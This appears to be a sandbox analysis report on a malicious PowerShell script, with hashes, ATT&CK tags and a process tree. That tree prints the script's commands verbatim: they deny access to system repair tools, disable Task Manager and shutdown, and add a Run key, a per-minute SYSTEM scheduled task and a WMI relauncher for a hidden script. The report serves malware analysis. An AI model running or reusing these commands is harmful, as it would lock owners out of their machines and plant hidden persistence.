1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827

Analysis

max time kernel
28s
max time network
22s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
19/06/2026, 20:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.ps1
Size 12KB
Sample260619-yr7h4sbs8l
SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
MD5 4c47e1405c6fa862f6cda3b2d2a82469
SHA1 3966cd1be2209ebceb1a8827cfaa4cac4f357d58
SHA512 62b47860e2a8dfe89cd7270c12b156532fe7f18771553e75401c47105ca4dc93cf4149cb043d36a165cde5f8bcbfe8445795ffedcd8bf7a6cd8f84e3ffb67c52
SSDEEP 192:IxpsFtt8sPbKr0wsJThJ1mrLLqmNtoiuVm/1/RxCCWEKM3uCCr597AH14EM1f:IfUt8wKr0n80PVm/vxBWEKAuBr5RAHi
TLSH
T1B54283517A24A266CAF2DF3AD8D7E506DF6F503B11629A0039ACD090BF71166C338BC9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution exploit persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4156	powershell.exe
800	powershell.exe
4384	powershell.exe
2972	powershell.exe

Possible privilege escalation attempt 14 IoCs

exploit

pid	Process
4728	icacls.exe
3608	icacls.exe
4200	takeown.exe
3164	takeown.exe
2652	takeown.exe
4568	icacls.exe
3380	takeown.exe
2952	icacls.exe
4364	icacls.exe
4480	takeown.exe
2464	takeown.exe
4264	icacls.exe
4936	icacls.exe
2052	takeown.exe

Modifies file permissions 1 TTPs 14 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2464	takeown.exe
4480	takeown.exe
3380	takeown.exe
2952	icacls.exe
2052	takeown.exe
4728	icacls.exe
4264	icacls.exe
3608	icacls.exe
4200	takeown.exe
3164	takeown.exe
2652	takeown.exe
4568	icacls.exe
4936	icacls.exe
4364	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\ProgramData\\Microsoft\\Windows\\SystemUpdate\\SysUpdate.ps1\""	powershell.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4156	powershell.exe
4156	powershell.exe
800	powershell.exe
800	powershell.exe
4384	powershell.exe
2972	powershell.exe
4384	powershell.exe
800	powershell.exe
2972	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeIncreaseQuotaPrivilege	4156	powershell.exe
Token: SeSecurityPrivilege	4156	powershell.exe
Token: SeTakeOwnershipPrivilege	4156	powershell.exe
Token: SeLoadDriverPrivilege	4156	powershell.exe
Token: SeSystemProfilePrivilege	4156	powershell.exe
Token: SeSystemtimePrivilege	4156	powershell.exe
Token: SeProfSingleProcessPrivilege	4156	powershell.exe
Token: SeIncBasePriorityPrivilege	4156	powershell.exe
Token: SeCreatePagefilePrivilege	4156	powershell.exe
Token: SeBackupPrivilege	4156	powershell.exe
Token: SeRestorePrivilege	4156	powershell.exe
Token: SeShutdownPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeSystemEnvironmentPrivilege	4156	powershell.exe
Token: SeRemoteShutdownPrivilege	4156	powershell.exe
Token: SeUndockPrivilege	4156	powershell.exe
Token: SeManageVolumePrivilege	4156	powershell.exe
Token: 33	4156	powershell.exe
Token: 34	4156	powershell.exe
Token: 35	4156	powershell.exe
Token: 36	4156	powershell.exe
Token: SeIncreaseQuotaPrivilege	4156	powershell.exe
Token: SeSecurityPrivilege	4156	powershell.exe
Token: SeTakeOwnershipPrivilege	4156	powershell.exe
Token: SeLoadDriverPrivilege	4156	powershell.exe
Token: SeSystemProfilePrivilege	4156	powershell.exe
Token: SeSystemtimePrivilege	4156	powershell.exe
Token: SeProfSingleProcessPrivilege	4156	powershell.exe
Token: SeIncBasePriorityPrivilege	4156	powershell.exe
Token: SeCreatePagefilePrivilege	4156	powershell.exe
Token: SeBackupPrivilege	4156	powershell.exe
Token: SeRestorePrivilege	4156	powershell.exe
Token: SeShutdownPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeSystemEnvironmentPrivilege	4156	powershell.exe
Token: SeRemoteShutdownPrivilege	4156	powershell.exe
Token: SeUndockPrivilege	4156	powershell.exe
Token: SeManageVolumePrivilege	4156	powershell.exe
Token: 33	4156	powershell.exe
Token: 34	4156	powershell.exe
Token: 35	4156	powershell.exe
Token: 36	4156	powershell.exe
Token: SeIncreaseQuotaPrivilege	4156	powershell.exe
Token: SeSecurityPrivilege	4156	powershell.exe
Token: SeTakeOwnershipPrivilege	4156	powershell.exe
Token: SeLoadDriverPrivilege	4156	powershell.exe
Token: SeSystemProfilePrivilege	4156	powershell.exe
Token: SeSystemtimePrivilege	4156	powershell.exe
Token: SeProfSingleProcessPrivilege	4156	powershell.exe
Token: SeIncBasePriorityPrivilege	4156	powershell.exe
Token: SeCreatePagefilePrivilege	4156	powershell.exe
Token: SeBackupPrivilege	4156	powershell.exe
Token: SeRestorePrivilege	4156	powershell.exe
Token: SeShutdownPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeSystemEnvironmentPrivilege	4156	powershell.exe
Token: SeRemoteShutdownPrivilege	4156	powershell.exe
Token: SeUndockPrivilege	4156	powershell.exe
Token: SeManageVolumePrivilege	4156	powershell.exe
Token: 33	4156	powershell.exe
Token: 34	4156	powershell.exe
Token: 35	4156	powershell.exe
Token: 36	4156	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4156 wrote to memory of 2632	4156	powershell.exe	84
PID 4156 wrote to memory of 1492	4156	powershell.exe	86
PID 4156 wrote to memory of 1376	4156	powershell.exe	88
PID 2632 wrote to memory of 2464	2632	cmd.exe	90
PID 1492 wrote to memory of 4480	1492	cmd.exe	91
PID 4156 wrote to memory of 3588	4156	powershell.exe	92
PID 4156 wrote to memory of 4792	4156	powershell.exe	94
PID 2632 wrote to memory of 4264	2632	cmd.exe	96
PID 1492 wrote to memory of 3608	1492	cmd.exe	97
PID 4156 wrote to memory of 1436	4156	powershell.exe	98
PID 4156 wrote to memory of 3692	4156	powershell.exe	101
PID 1376 wrote to memory of 4200	1376	cmd.exe	100
PID 3588 wrote to memory of 3164	3588	cmd.exe	103
PID 4156 wrote to memory of 2008	4156	powershell.exe	104
PID 4156 wrote to memory of 5096	4156	powershell.exe	106
PID 4792 wrote to memory of 2652	4792	cmd.exe	108
PID 4156 wrote to memory of 2508	4156	powershell.exe	109
PID 4156 wrote to memory of 800	4156	powershell.exe	111
PID 1436 wrote to memory of 3380	1436	cmd.exe	114
PID 1376 wrote to memory of 4568	1376	cmd.exe	112
PID 5096 wrote to memory of 2660	5096	cmd.exe	115
PID 3588 wrote to memory of 4936	3588	cmd.exe	116
PID 4156 wrote to memory of 1404	4156	powershell.exe	117
PID 2008 wrote to memory of 4436	2008	cmd.exe	120
PID 4156 wrote to memory of 3716	4156	powershell.exe	121
PID 4792 wrote to memory of 2952	4792	cmd.exe	122
PID 1436 wrote to memory of 4364	1436	cmd.exe	119
PID 3692 wrote to memory of 228	3692	cmd.exe	124
PID 4156 wrote to memory of 4384	4156	powershell.exe	125
PID 4156 wrote to memory of 2972	4156	powershell.exe	127
PID 2508 wrote to memory of 4684	2508	cmd.exe	129
PID 1404 wrote to memory of 2052	1404	cmd.exe	130
PID 3716 wrote to memory of 3780	3716	cmd.exe	131
PID 1404 wrote to memory of 4728	1404	cmd.exe	132

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4156
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2632
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskpart.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2464
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4264
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\format.com"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4480
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3608
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\cleanmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4200
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4568
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\defrag.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3164
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4936
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2652
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2952
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1436
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\compmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3380
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4364
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
    3⤵
    PID:228
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
    3⤵
    PID:4436
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5096
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:2660
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    PID:4684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:800
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1404
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2052
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4728
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3780
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 b50f877489ebccd2b4ca683aa7ad0570dab3b52b72e00a48cc5c1419e7387feb
MD5 611ebac4a716fc2e03d76fa219b44fe0
SHA1 b6e66e62cb06bc9d4a40110d3876d66a55a47342
SHA512 62f94809af4ef061607e0ab476a730af7c12ca09c60b3f6199dd13eb2444982338eb3a882261b7d006b7a5619fb27851e01980c2dc76e391c58193b10ce2cbb2
TLSH
T13381DF313375B0D4C9567F07192C19C063BF4396E698AF5CB25C521EE92751B9B122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 059f90bb371321c0002dd192fb02e94927bac8c754069a2e426e2b0271e33966
MD5 adf9ef2e099e8e7770ab183cf3eb785b
SHA1 358c0767b078e5a4480476202281e5826ac74377
SHA512 0c97cfd9765598e53b969dcbf4bcfd19a536a3c0ee48a342a3da46b7430fe7f3e3f6ca63f8d4e43fb3f15487fa500220e8d371d24a861ae34186482041c04928
TLSH
T116214527B3ADC851DC89513B109C9D6076B6D3C7809ECF9B2EC4D219A03FA99DB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 488B
SHA256 9c705d5b86bc7d1728d41335889ccb07d20dbc3181178d912280dcfcfa340eaa
MD5 7de4713f7c07e40aa43390516cea2bcf
SHA1 a663c7b13ab9e9dd9170656efbe4d269e9edb62d
SHA512 9fc94566f7d620e10924ee6f625b199366bf58869fb1cec5279af82bc7467f2f9609a916b8881c45f75e57c7742330bf395271a64c606d4e60a07352a18c531b
TLSH
T1AEF02262F70DC410CCA9423B818CAD51373A9BD35186AFE73AD4C128E0AB685C720264
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 918f58914ed48f541037a7f3fb6757062f4f757a3fc9a1fe7b145fd4549cf77f
MD5 e78e94a3db0b2c0c8f0fd9122b836eb5
SHA1 c7c01470be3a5261b919da7ae1987f93e9c816c4
SHA512 8f266b6d324a75654859167a6594393a633fb86e76d156408804b042644f04fc30f59cf9545780ed831bd58c92a2c475edb66e03a5a2330dff5fb604319acd86
TLSH
T1B2114463F78CC860CC89453A409C9D9176B697C781DEDE9B3EC4C114A07F588DB202A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_0gajwvhi.rse.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0gajwvhi.rse.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4156-0-0x000001E4D1C80000-0x000001E4D1C90000-memory.dmp

Download

memory/4156-1-0x000001E4D1BC0000-0x000001E4D1BE2000-memory.dmp

Download

memory/4156-9-0x000001E4D1C80000-0x000001E4D1C90000-memory.dmp

Download

memory/4156-11-0x000001E4D4650000-0x000001E4D4674000-memory.dmp

Download

memory/4156-10-0x000001E4D4650000-0x000001E4D467A000-memory.dmp

Download